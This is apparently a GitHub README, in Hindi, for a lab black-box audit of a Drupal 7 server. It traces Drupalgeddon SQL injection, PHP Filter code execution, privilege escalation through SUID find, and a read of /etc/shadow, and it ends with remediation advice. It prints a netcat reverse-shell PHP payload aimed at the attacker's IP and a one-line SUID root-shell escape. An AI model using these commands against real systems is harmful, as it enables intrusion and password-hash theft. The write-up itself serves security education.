fbm31/audit-blackbox-web-to-rootDrupal 7 सर्वर का ब्लैक बॉक्स सुरक्षा ऑडिट। पूर्ण किल चेन का प्रदर्शन: SQL इंजेक्शन (CVE-2014-3704) ➔ RCE ➔ रिवर्स शेल ➔ रूट (SUID) तक एस्केलेशन। इस रिपॉजिटरी में विस्तृत तकनीकी रिपोर्ट, शोषण के प्रमाण (PoC) और बुनियादी ढांचे को सुरक्षित करने के उपाय शामिल हैं।
यह परियोजना शैक्षिक और अकादमिक उद्देश्यों के लिए एक नियंत्रित और पृथक प्रयोगशाला वातावरण में की गई थी। किसी भी वास्तविक बुनियादी ढांचे को लक्षित नहीं किया गया। उद्देश्य हमले के तंत्र को समझकर सिस्टम को सुरक्षित करना सीखना है।
इस परियोजना का उद्देश्य एक ब्लैक बॉक्स ऑडिट (Black Box) करना है। इसका मतलब है कि विश्लेषण लक्ष्य के बारे में किसी भी पूर्व जानकारी के बिना शुरू होता है: कोई क्रेडेंशियल, कोई तकनीकी दस्तावेज, और न ही कोई स्रोत कोड प्रदान किया गया।
बुनियादी ढांचे को VMware के तहत एक पृथक निजी नेटवर्क (Host-Only) में वर्चुअली तैनात किया गया था ताकि बाहरी दुनिया के साथ किसी भी बातचीत से बचा जा सके।
192.168.78.131
192.168.78.132
पहला कदम पोर्ट स्कैन का उपयोग करके लक्ष्य मशीन के हमले की सतह का मानचित्रण करना था।
निष्पादित कमांड: nmap -sV 192.168.78.132
पहचानी गई सेवाएं:
वेब सेवा (पोर्ट 80) और robots.txt फ़ाइल के विश्लेषण ने एक CMS Drupal की उपस्थिति का खुलासा किया। स्रोत कोड के निरीक्षण ने एक पुराने संस्करण की पहचान करने में मदद की: Drupal 7.x।
पहचान चरण के परिणामों ने एक महत्वपूर्ण हमले की सतह को उजागर किया: एक अनुरक्षित Drupal 7 CMS। यह संस्करण ऐतिहासिक रूप से प्रमुख सुरक्षा कमजोरियों (विशेष रूप से "Drupalgeddon") के लिए संवेदनशील होने के लिए जाना जाता है।
इस निष्कर्ष के मद्देनजर, ऑडिट सार्वजनिक कमजोरियों (CVE) की लक्षित खोज की ओर उन्मुख हुआ। इस गणना ने एक पूर्ण एक्सप्लॉइटेशन चेन के अस्तित्व की पुष्टि की, जो एक साधारण वेब आगंतुक से "रूट" सिस्टम प्रशासक बनने की अनुमति देती है।
पहचाने गए हमले के वेक्टर:
CVE-2014-3704 (Drupalgeddon) कमजोरी का शोषण। Drupal के डेटाबेस API में यह भेद्यता प्रमाणीकरण के बिना SQL कमांड इंजेक्ट करने की अनुमति देती है।
users तालिका में प्रशासक अधिकारों के साथ एक नया उपयोगकर्ता इंजेक्ट करना।
एक बार व्यवस्थापक के रूप में लॉग इन करने के बाद, मूल PHP Filter मॉड्यूल का उपयोग। यह मॉड्यूल, गलत तरीके से कॉन्फ़िगर किया गया, साइट के पृष्ठों में मनमाना PHP कोड निष्पादित करने की अनुमति देता है।
<?php system('nc -e /bin/bash 192.168.78.131 4444'); ?>www-data)।
SUID (Set User ID) अनुमति वाली फ़ाइलों का विश्लेषण। find कमांड पर एक महत्वपूर्ण कॉन्फ़िगरेशन की खोज।
find . -exec '/bin/sh' \;find बाइनरी रूट के रूप में निष्पादित होती है, रूट (uid=0) विशेषाधिकारों के साथ एक शेल लॉन्च करती है।एक बार रूट एक्सेस प्राप्त करने के बाद, उपयोगकर्ता पासवर्ड के हैश निकालने के लिए संवेदनशील फ़ाइल /etc/shadow पढ़ना।
ऑडिट ने गंभीर जोखिम स्तर का खुलासा किया। एक पुराने CMS और सिस्टम कॉन्फ़िगरेशन (SUID) में लापरवाही का संयोजन सर्वर से पूर्ण समझौता करने की अनुमति देता है।
कंपनी पर प्रभाव:
/etc/shadow) का संभावित बहिर्वाह।प्राथमिक कार्य योजना:
chmod u-s /usr/bin/find)।पूर्ण तकनीकी विवरण, उपयोग की गई स्क्रिप्ट और गहन विश्लेषण के लिए, पूर्ण रिपोर्ट देखें: ऑडिट रिपोर्ट पढ़ें (PDF)
Fabien MOINE